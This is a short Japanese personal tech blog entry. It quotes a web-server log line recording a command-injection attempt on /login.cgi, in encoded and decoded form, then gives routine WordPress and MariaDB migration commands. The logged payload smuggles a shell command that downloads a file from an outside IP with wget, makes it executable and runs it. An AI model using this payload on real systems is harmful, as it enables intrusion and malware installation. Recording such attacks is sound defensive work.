トップ «前の日記(2018-08-11(Sat)) 最新 次の日記(2018-08-20(Mon))» 編集

屑俺日記

僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。


2018-08-13(Mon) 依然として真夏

ちょっとwebサイトを開けていたら

もう変なのが来た。

156.213.228.156 - - [12/Aug/2018:23:16:13 +0000]
 "GET /login.cgi?cli=aa%20aa%27;wget%20
  http://212.237.32.62/k%20-O%20-%3E%20/tmp/ks;
  chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

5年前の日付のスクリプトでデコードすると、

156.213.228.156 - - [12/Aug/2018:23:16:13  0000]
 "GET /login.cgi?cli=aa aa';
  wget http://212.237.32.62/k -O -> /tmp/ks;
  chmod 777 /tmp/ks;
  sh /tmp/ks'
$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

アクセス先がどこか、なんてのは、先方にはどうせ丸わかりだから、 日時隠蔽は省略。

移行テスト

WordPressのフロントエンド(php,css,etc)とバックエンド(mariadb) を別のFQDNの別のホストに移す。

プラグインやテーマはどうか知らないが、フロントエンドには、 ドメイン名は埋め込まれていない模様。
バックエンドは dumpして、ドメイン名を一括置換(ちょっと 乱暴な気もした)。
新規ホストにて、データベースとユーザを作成したら リストア。

$ sudo mysqldump -u root -p -h localhost WP_DB  > WP.dump
 
$ sed -i 's/OLDDMAIN/NEWDOMAIN/g' WP.dump
 
$ sudo mysql -u root -p  WP_DB  < WP.dump

apache2のconfigもドメイン名を変えて順次移す。
あと、MariaとWordPressの連携のためにいくつか。


リンクはご自由にどうぞ。でもURLや内容が変った場合はあしからず。

index.htmlは ここから。